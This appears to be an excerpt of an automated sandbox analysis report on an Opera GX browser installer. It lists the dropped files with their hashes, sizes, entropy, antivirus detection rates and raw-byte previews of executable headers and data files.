                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24576:jCfhbh3v3mtZDiAQeWj26k41ob2nrZ1rqpegQDJqoZtp22GkmgA9u808jQPEdkrX:jCfhbh3v3mtEAQrW41obCraeRhy9ou6y
                                                                                                                                                                                                              MD5:ED36EE565937EF0BC49C0A04813D7421
                                                                                                                                                                                                              SHA1:68B73CB0B37E34138A6854951A360FD4AF55B54F
                                                                                                                                                                                                              SHA-256:CB57686F2612CFD707B524D9741E40619E39C7C2D73DF94A8D220F27AECE9D05
                                                                                                                                                                                                              SHA-512:97C1F6063A9528A4295A83B7B747CA596A341FB57102FBAA109BD34DFFD8FCFBFB074CF5F994CCC2CD863A26C21E7B3A7F5993E167D822F03FDE54D5D0A41507
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Antivirus:
                                                                                                                                                                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                              • Antivirus: Virustotal, Detection: 0%, Browse
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......@AC.. -.. -.. -.OX).1 -.OX... -.OX(.. -.VU(.. -..R,.. -.. ,.. -.OX$.. -.OX-.. -.OX.. -.. ... -.OX/.. -.Rich. -.................PE..d...'..}.........." ........."...............................................@............`A............................................l...l...P............`..t........O... .......o..p....................o..(....m..@............................................text...\........................... ..`.rdata..F...........................@..@.data....{.......T..................@....pdata..t....`......."..............@..@_RDATA..............................@..@.rsrc...............................@..@.reloc....... ......................@..B........................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\files_list

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):4217
                                                                                                                                                                                                              Entropy (8bit):5.214881025720168
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:48:QnIlvE+eCPTuqaeDCOLIG4AUsKyIYKJhNewb059RVtZtDy3HCk7RPO2ErgB6D:qIhTf85XZyITJhowbO7Vt+3ik7wUU
                                                                                                                                                                                                              MD5:A8B50C1CBBA852CF247AB5A1BF7C775E
                                                                                                                                                                                                              SHA1:CCED29A672EAEA3E1B6D733AB75AEECE9AE5758A
                                                                                                                                                                                                              SHA-256:0B409025681ABFFD0A1931BA885E1A799F3CB50E27D28EF5B5310DBF0350C29A
                                                                                                                                                                                                              SHA-512:407FF80090D59877D4BD568D8366B2A2AD8B0D8BF67A24DBC8FC71BB432980B1D8AB5BCDB4E8A9E38A692D2B52AEC802E9F01BB8E49C03BB3A6421702D311DD4
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:114.0.5282.93.manifest..CUESDK.x64_2017.dll..MEIPreload\manifest.json..MEIPreload\preloaded_data.pb..d3dcompiler_47.dll..dxcompiler.dll..dxil.dll..headless_command_resources.pak..headless_lib_data.pak..headless_lib_strings.pak..icudtl.dat..installer.exe..libEGL.dll..libGLESv2.dll..localization\bg.pak..localization\bn.pak..localization\ca.pak..localization\cs.pak..localization\da.pak..localization\de.pak..localization\el.pak..localization\en-GB.pak..localization\en-US.pak..localization\en-VO.pak..localization\es-419.pak..localization\es.pak..localization\fi.pak..localization\fil.pak..localization\fr.pak..localization\hi.pak..localization\hr.pak..localization\hu.pak..localization\id.pak..localization\it.pak..localization\ja.pak..localization\ko.pak..localization\lt.pak..localization\lv.pak..localization\ms.pak..localization\nb.pak..localization\nl.pak..localization\pl.pak..localization\pt-BR.pak..localization\pt-PT.pak..localization\ro.pak..localization\ru.pak..localization\sk.pak..local

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\files_list.1728808435.old (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):4217
                                                                                                                                                                                                              Entropy (8bit):5.214881025720168
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:48:QnIlvE+eCPTuqaeDCOLIG4AUsKyIYKJhNewb059RVtZtDy3HCk7RPO2ErgB6D:qIhTf85XZyITJhowbO7Vt+3ik7wUU
                                                                                                                                                                                                              MD5:A8B50C1CBBA852CF247AB5A1BF7C775E
                                                                                                                                                                                                              SHA1:CCED29A672EAEA3E1B6D733AB75AEECE9AE5758A
                                                                                                                                                                                                              SHA-256:0B409025681ABFFD0A1931BA885E1A799F3CB50E27D28EF5B5310DBF0350C29A
                                                                                                                                                                                                              SHA-512:407FF80090D59877D4BD568D8366B2A2AD8B0D8BF67A24DBC8FC71BB432980B1D8AB5BCDB4E8A9E38A692D2B52AEC802E9F01BB8E49C03BB3A6421702D311DD4
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:114.0.5282.93.manifest..CUESDK.x64_2017.dll..MEIPreload\manifest.json..MEIPreload\preloaded_data.pb..d3dcompiler_47.dll..dxcompiler.dll..dxil.dll..headless_command_resources.pak..headless_lib_data.pak..headless_lib_strings.pak..icudtl.dat..installer.exe..libEGL.dll..libGLESv2.dll..localization\bg.pak..localization\bn.pak..localization\ca.pak..localization\cs.pak..localization\da.pak..localization\de.pak..localization\el.pak..localization\en-GB.pak..localization\en-US.pak..localization\en-VO.pak..localization\es-419.pak..localization\es.pak..localization\fi.pak..localization\fil.pak..localization\fr.pak..localization\hi.pak..localization\hr.pak..localization\hu.pak..localization\id.pak..localization\it.pak..localization\ja.pak..localization\ko.pak..localization\lt.pak..localization\lv.pak..localization\ms.pak..localization\nb.pak..localization\nl.pak..localization\pl.pak..localization\pt-BR.pak..localization\pt-PT.pak..localization\ro.pak..localization\ru.pak..localization\sk.pak..local

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\headless_command_resources.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2923
                                                                                                                                                                                                              Entropy (8bit):7.921852989657323
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:48:GgAlAoYlilhwSaZDTzolwaaRUFUvexgwO8BKWvhkQzQ1epHQs1EAFw4FGxG:uclnPzomv2HrlpkQzOepwGE14AG
                                                                                                                                                                                                              MD5:A2071DAF0E616B5B20B3767F05D98A23
                                                                                                                                                                                                              SHA1:FA1FE2A3F81176B438DD26C3DE8AC0350EA46461
                                                                                                                                                                                                              SHA-256:DACEC75453155A4FEEB277EB7AD527BF37C60974FB3E807957E9DBE09FC77DC4
                                                                                                                                                                                                              SHA-512:A35C87A8047DF8231FE6BB3169BB2941A24413FF5D82FC0F6A744CDA8805C525723B88064AC3B6668ADDAAD7742A6A8911CA4C82CBE7CDDF21F2E8908CB0782A
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.............w..../w......k.............-.1k.0.....Kv....h........."=G*.^....Uqo9...R..1g.w..mqv..e.~.x...,+..[.<.8/...!..........6C..tTR.@..P.Xq....-_#O.........4`.P......|...J.5........~.8.6...p.:..l.].l.Y._EY...................N.H....H...t..>M#f..Q....d...n.].......=......&Z...s.s?..}tL.-..+.^..~..V...(YW......no..}.0"%b..C..i.QN...uI6.6.@.[...........U..@c...<k.-.J.7...X........)*...{..!.O....7...u.uv.=.!..t..9#4N.........=......Cg..]W...7...gm...a..k.=..1.E.YO...E@.eE..dcE..F.L;.4D.~9...h......b......+T.mrTT]..|u.....k..I..".xq.;..(.....i.....:.....H...D..(Rd....B.j:!.$.........SJ.....a...s^.<..7.......s....bq.n.S.,.6|......)...2..Riy.*..g.....wet.....?.....................n!..x.@x.T.gMQc.M...0....x.Z.FA..N....2~h..7...1..w.xNq..d..../...zD.#....j...n.c.^.... ..3.t.u.K..=.. ..>...QUDsKg."...5.Hr...0..Nf.n*/L(cP*l...."..t>...b.j.U...C...0Hd%:.e.ENvN[&.1.2...Q.8.zN+u...m...:.GG(j..-...&...et......4#......5fx......7...8v......-.......f.*

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\headless_lib_data.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1129684
                                                                                                                                                                                                              Entropy (8bit):7.979718268810982
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24576:yR+aVG7skfgcFlO11y+cB1X6oO0TOoa2qlxettXV3i:yRRG7skfP7ZP6BKOzlEVS
                                                                                                                                                                                                              MD5:728E7FCAA83376BA50E0632E6F2CEA6D
                                                                                                                                                                                                              SHA1:A74E9C246933E1AC6F38098E98182E903953D683
                                                                                                                                                                                                              SHA-256:7CBF31D873B3B3242A0CACAAB4C2937D0C0708521C9150FF188835662F60A081
                                                                                                                                                                                                              SHA-512:224E108B6D3016814FC33F2A9F358552A970A4AE6A704FD58C92A4E291CE7B6DB847C285F197907F20A9FFC1580E134B26373B73913CB0DD6D6744723C83970C
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............f.b...........{............ ..........=................u................$.....:......................wp....w.....w.....w.....w.....we....w.....wN....w.....w.....wx....w.....x....x.....xI....x.....x.....x.....x.....x.....x.....x.....x?f...xq....x.....x<....x.....xR....x.....x.....x.....x.....xk ...x,J...xno...x.|...y....y~....y<....yJ...4{N....|.....|....|.....|.....|{....|.... |....!|.....|/.../|....0|....1|=...2|....3|....5|....6|I...7|....8|....9|....:|_...;|....<|....=|....>|....?|V...@|....A|+...B|....C|K...D|....E|....F|.!..G|.-..H|@0..I|.;..J|....K|i...L|a...M|....N|....O|...P|....Q|...R|8...S|....T|....U|....V|y...W|....X|SE..`|~F..a|.H..b|.I..c|.J..d|.K..e|fL..j|.M..k|...l|......a..........U...........p.....H...../..................................o.....G.....!...........j..........H...........&......................Q......................&..............\.............Z....(..............0..............P..............p................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\headless_lib_strings.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):3289665
                                                                                                                                                                                                              Entropy (8bit):7.979024423342337
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:49152:zUG3KAPPbe7nKrrwz3DtXetd0zLsceUYZeKFLOlXRp97skLrePewz0thJyEz+ZhX:gG3Kt2rwrlzFNYtu397pE2RSvX
                                                                                                                                                                                                              MD5:E2FE47902CB82DED9E6E5AA41BA2B80C
                                                                                                                                                                                                              SHA1:F8CFCEE741DC4F94631F332267926A1EB1C5376C
                                                                                                                                                                                                              SHA-256:81EC7A8B767D8018BA31B6BF1D50083A76B4433C7537863B03AA17474913FAA7
                                                                                                                                                                                                              SHA-512:972E5A73E4195D5186146893B77A99C56A5D23F480853B8C1A671A719EB33E75D94DCBC72BD6591E05A4E36418D90D3B49B39A81F904786C746FA7D8CEE1F4C1
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:...............w.....w....-w....=w....Nw.....w....%x....nx.....x.....x....%y....Vy....fy.....y....%z....az....wz.....z.....{....J{...._{.....{.....{.....|....'|....p|.....|.....|.....|....8}....y}.....}.....}.....~....h~.....~.....~..........V.......................,.....W.....g.................'.....2.................=.....Q........................../.....j............................3.....?......................,.....z......................E.............................J.....r.....}................4.....?.................8.....M............................]............................_......................4.....i......................&.....5............................s......................o................+......................;............................_......................*.....w......................._.......................................................................................%.....0.....?.....\.....l...................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\icudtl.dat

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10501472
                                                                                                                                                                                                              Entropy (8bit):6.264566831287011
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:196608:nDPBhORiYAXHiXUxY/iJ53IWhlVjEeIu2YmU:nVwkpHiXUxY/iJ53IWhlVjEeIlU
                                                                                                                                                                                                              MD5:A1E751E9DF0E72C64F38B613EA2A324E
                                                                                                                                                                                                              SHA1:ECCB2490C2238599B990B977E7956471C411FA89
                                                                                                                                                                                                              SHA-256:1FEEDB01802A6960C454D4AFD6B1C9BC3E83A4E575E9D6B2F3BA7DB846645BAB
                                                                                                                                                                                                              SHA-512:C516B97433645DEF5BB825C9A7FEA7925BD43552D38A33266EFAAC268447EAF3F48984CFE57BB4C46B4EA537B42A24CFE2BB7615B4E65C2949BFAC74DB6730AE
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:...'........CmnD........ Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html .....dF......tF..@+...F...+...F..0,...F..`3...F...3...F..PP...F...P...F...Q...G.......G..@...'G..0...:G......MG......`G.. ...sG.......G.......G..@....G......G.......G.......G.......G......H......H......1H......DH..0...WH......jH..`...}H.......H.......H.......H.......H......H.......H.. ....I..P....I......%I......8I..P...II......]I.....mI..@....I.......I..P....I.......I......I..@....I.......I......J...... J..P...1J......EJ......\J..0...lJ.......J.......J.. #...J..p#...J...&...J...&...J..0'...J.. ....K...>...K.. .&.EK....&.\K..p.&.sK..`.&..K....&..K..0.&..K....&..K....'..K..0.'..L..`.'..L....'.8L.. .(.OL..@.(.lL...Q)..L....)..L...S*..L....*..L...k+..M..0.+.2M...k,.\M....,..M....-..M....-..M..p.-..M....-..M..0.-..M....-..N...&..0N...'..NN..@.0.gN...m0..N....0..N....0..N....0..N.. .0..N....0..N..0.0..O....0..O....0.6O.. .0.FO....1.YO..P.1.lO..

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):7977368
                                                                                                                                                                                                              Entropy (8bit):6.942347861673801
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:98304:0eLc7yn6V2FoCslJwNyZYwl9gkSrn2vToxRDBxZer86c:zLcmnp+aNsqks2CRDw81
                                                                                                                                                                                                              MD5:482A2C147099CCA899B4D09FD7D572AB
                                                                                                                                                                                                              SHA1:E78EE6D66EDDE3524AE10AA9CEA9C6BF502110E0
                                                                                                                                                                                                              SHA-256:CD30F4F6CEA71B7B3A42B311F3F018FB4B64D473868722655D400DCCEE6DEEFD
                                                                                                                                                                                                              SHA-512:B6CC9699D08DC94885DE1BA82D144028F0B94CBF60EA3A314CCB3D11B3736F5D4F152A8738CE8C92D55BAA17C085B1A6249BDB72A0B116DF1F5EE7E3E96D97E2
                                                                                                                                                                                                              Malicious:true
                                                                                                                                                                                                              Antivirus:
                                                                                                                                                                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                              • Antivirus: Virustotal, Detection: 0%, Browse
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....n.g.........."......,...^t................@............................. z.......y...`.....................................................P........pr......9....y..)....z.....\...8...................@...(....@..@............!..`............................text....+.......,.................. ..`.rdata...U...@...V...0..............@..@.data...`J......."..................@....pdata...9.......:..................@..@.gxfg...P&...0...(..................@..@.retplne.....`...........................tls.........p......................@..._RDATA..............................@..@.rsrc....pr......rr.................@..@.reloc........z.......y.............@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer_helper_64.exe

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):565656
                                                                                                                                                                                                              Entropy (8bit):6.1829780222482595
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:lkwJArFTlSKjFkAcq2xRkQY8WQNXzQW5Y1P3zsiEaMo2Bv8LxIzect5kRD6JKa:uw6F0eQYkNjQW5HVo2Bv0qzZtmQKa
                                                                                                                                                                                                              MD5:60A640C43D12BCE922AC4A2D50A69EB0
                                                                                                                                                                                                              SHA1:26C76888B78749FC251D66621DD09A1BFC9D765D
                                                                                                                                                                                                              SHA-256:E5B3C125C8D2D2203A061B83B5FC8DA4FD06343FC9564EAF9B822D66D25A4F1D
                                                                                                                                                                                                              SHA-512:423468835082EC8B14824A5D4C8529DD2997BE2680F04500A33040444628C5BD04280436BD8D683C862121BA7B351D7044F93176EB7689D091AD362CCB08D738
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Antivirus:
                                                                                                                                                                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                              • Antivirus: Virustotal, Detection: 0%, Browse
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....n.g.........."............................@.............................P............`.................................................(...x....0..P........=...x...)...@..........8...................p...(.......@...........p................................text.............................. ..`.rdata..Di.......j..................@..@.data....X...0......................@....pdata...=.......>..................@..@.gxfg....$.......&...:..............@..@.retplne.............`...................tls....1............b..............@..._RDATA....... .......d..............@..@.rsrc...P....0.......f..............@..@.reloc.......@.......j..............@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\launcher.exe

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2363288
                                                                                                                                                                                                              Entropy (8bit):6.461382500394084
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:49152:29ftBxXbxb/jFMy7blNHZZogdPVm30F/fYd0XSyf:0bN77roSiiq0Xh
                                                                                                                                                                                                              MD5:777A968A85298F232E1E469EE7224E67
                                                                                                                                                                                                              SHA1:1C0B89954BC89009989E666ED45533494C420FE6
                                                                                                                                                                                                              SHA-256:570B6AACFE6B37776FC531FE43CEFABB2B81EB7F568A3BC1BF7CC583572AA7E9
                                                                                                                                                                                                              SHA-512:76B11D8B141847160F07B417A304DEC54A5718E84BFECDD4260C5E491C8FF841B3A4453136632B3698E8B406F2076E856C4033F3EF8D64772CAB2A870D9B897C
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Antivirus:
                                                                                                                                                                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                              • Antivirus: Virustotal, Detection: 0%, Browse
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....n.g..........".................P..........@.............................`%.......$...`.........................................`...b.......h....`#. .....!.......#..)...@%.........8.......................(... ...@............$..h............................text...f........................... ..`.rdata..0...........................@..@.data...............................@....pdata........!....... .............@..@.gxfg..../...."..0....!.............@..@.retplne......#.......!..................tls..........#.......!.............@...LZMADEC...... #.......!............. ..`_RDATA.......@#.......!.............@..@malloc_h.....P#.......!............. ..`.rsrc... ....`#.......!.............@..@.reloc.......@%.......#.............@..B........................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\launcher.exe.1728808435.old (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2363288
                                                                                                                                                                                                              Entropy (8bit):6.461382500394084
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:49152:29ftBxXbxb/jFMy7blNHZZogdPVm30F/fYd0XSyf:0bN77roSiiq0Xh
                                                                                                                                                                                                              MD5:777A968A85298F232E1E469EE7224E67
                                                                                                                                                                                                              SHA1:1C0B89954BC89009989E666ED45533494C420FE6
                                                                                                                                                                                                              SHA-256:570B6AACFE6B37776FC531FE43CEFABB2B81EB7F568A3BC1BF7CC583572AA7E9
                                                                                                                                                                                                              SHA-512:76B11D8B141847160F07B417A304DEC54A5718E84BFECDD4260C5E491C8FF841B3A4453136632B3698E8B406F2076E856C4033F3EF8D64772CAB2A870D9B897C
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Antivirus:
                                                                                                                                                                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                              • Antivirus: Virustotal, Detection: 0%, Browse
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....n.g..........".................P..........@.............................`%.......$...`.........................................`...b.......h....`#. .....!.......#..)...@%.........8.......................(... ...@............$..h............................text...f........................... ..`.rdata..0...........................@..@.data...............................@....pdata........!....... .............@..@.gxfg..../...."..0....!.............@..@.retplne......#.......!..................tls..........#.......!.............@...LZMADEC...... #.......!............. ..`_RDATA.......@#.......!.............@..@malloc_h.....P#.......!............. ..`.rsrc... ....`#.......!.............@..@.reloc.......@%.......#.............@..B........................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\launcher.visualelementsmanifest.xml

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):317
                                                                                                                                                                                                              Entropy (8bit):4.996593526126476
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6:ejHyaVic4subiL/bWHMjizddDhkQwYZXXKmJfFmkQwYEbghuPYEpwhugVFQ:eF8iDbWHMjizd2O/fbrghuP5whuQFQ
                                                                                                                                                                                                              MD5:E8D8EAA4C2826C083AB9243B5CBD7BF8
                                                                                                                                                                                                              SHA1:534361AE03417DFD14EBD6F961B707C75A2AF41A
                                                                                                                                                                                                              SHA-256:B3213B07F691C812425115428B9D6E0637D488159E0A1C160C8FA8F04DED11F6
                                                                                                                                                                                                              SHA-512:8ECCD5EF54A73E915A39CDEF9768837DD16E49AE27A3AE6428FB346C9C838FD9DBEDC3F40A9094754C770CA2236A0D2DFDE37D22289218D862AF5E8BC15E85E5
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:<Application xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">. <VisualElements. BackgroundColor="#06030D". ShowNameOnSquare150x150Logo="on". ForegroundText="light". Square150x150Logo="Assets\150x150Logo.png". Square70x70Logo="Assets\70x70Logo.png". />.</Application>

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\libEGL.dll

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):504216
                                                                                                                                                                                                              Entropy (8bit):6.420018090952164
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:/rF9Ltw+L7mUFpkKV2HGAzfN7+yWBr72i9Kd5eXt6r5+Ys:/W+LyUPkKVOZN7iBr72i9KdIXtm+f
                                                                                                                                                                                                              MD5:5ABB6303F63B4156C0BA74E50445C075
                                                                                                                                                                                                              SHA1:911672AC6B28670F1174E35600698AFEA04C319A
                                                                                                                                                                                                              SHA-256:9D6B68D313AA69C6815F4402D519A04F3BCFD32996150FA450275B8B1856BD91
                                                                                                                                                                                                              SHA-512:DBDFEE7A6F1406D8B9D49C19B16D00AA4E2DC5231131EC266D7725B2F99EE51F8AA2F2DA05EB6EE39A4F94B31DB70D59227CBD62DCD77C9BAD2DC167199478A4
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Antivirus:
                                                                                                                                                                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                              • Antivirus: Virustotal, Detection: 0%, Browse
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....n.g.........." .....p...........8..............................................$.....`A........................................ m.......{..(.......H....P..x?.......)......8....d..8....................c..(.......@............~...............................text...Zn.......p.................. ..`.rdata...p.......r...t..............@..@.data....K....... ..................@....pdata..x?...P...@..................@..@.gxfg... &.......(...F..............@..@.retplne.............n...................tls....!............p..............@..._RDATA...............r..............@..@.rsrc...H............t..............@..@.reloc..8............z..............@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\libGLESv2.dll

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8246680
                                                                                                                                                                                                              Entropy (8bit):6.5014646102686235
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:98304:XDtC6PYdNalX3iwu5z0TcyP7Y86gmw2BKXC3GnP4Yp:XDtC6PYdNehhcbTgMBamGPXp
                                                                                                                                                                                                              MD5:867979EEF8AAE2AF967DB818118637E0
                                                                                                                                                                                                              SHA1:51835ED29E9E1BCBA4D7D4D2C7B67CE0F3996363
                                                                                                                                                                                                              SHA-256:74B0E3FB3C6F9FE60686B866231CE692895EBAF0CCE8571D410563F469749A46
                                                                                                                                                                                                              SHA-512:1416E4C06FA56ECB692436CA402079A05E7E758DB33413975E5183D3108A85447601F683F3EED849051852310CB55F7DDED87F8CC29501E1F6EF4FE9FB9E5441
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Antivirus:
                                                                                                                                                                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                              • Antivirus: Virustotal, Detection: 0%, Browse
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....n.g.........." ......a.........0.O.......................................~.....4.}...`A........................................]#u.C.....v.d.....}.......{..G....}..)....}.\.....t.8.....................t.(.....b.@.............v......"u.@....................text...E.a.......a................. ..`.rdata..$.....b.......a.............@..@.data.........v.......v.............@....pdata...G....{..H...Tz.............@..@.gxfg....-...P}.......|.............@..@.retplne......}.......|..................tls....B.....}.......|.............@..._RDATA........}.......|.............@..@.rsrc.........}.......|.............@..@.reloc..\.....}.......|.............@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\bg.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):879489
                                                                                                                                                                                                              Entropy (8bit):4.780078577306789
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24576:W6CFComgUxcl9cIeIw6g2HV2lfJjvYVzQkECHUjVbsiTqwZkVVDhkbs3HsvH0RJO:W6UUuGIXV2lfJjvYqqUjVbhTqXVVDhkz
                                                                                                                                                                                                              MD5:7C16034FB8EDBFED934F4B1416FACDA9
                                                                                                                                                                                                              SHA1:5810B323E60269617B7ED4940A1F6DF7508648AA
                                                                                                                                                                                                              SHA-256:508491E0963CD6B747CB003F6890CF0662E7DE5139F7D7D4970FEBE4F1641D77
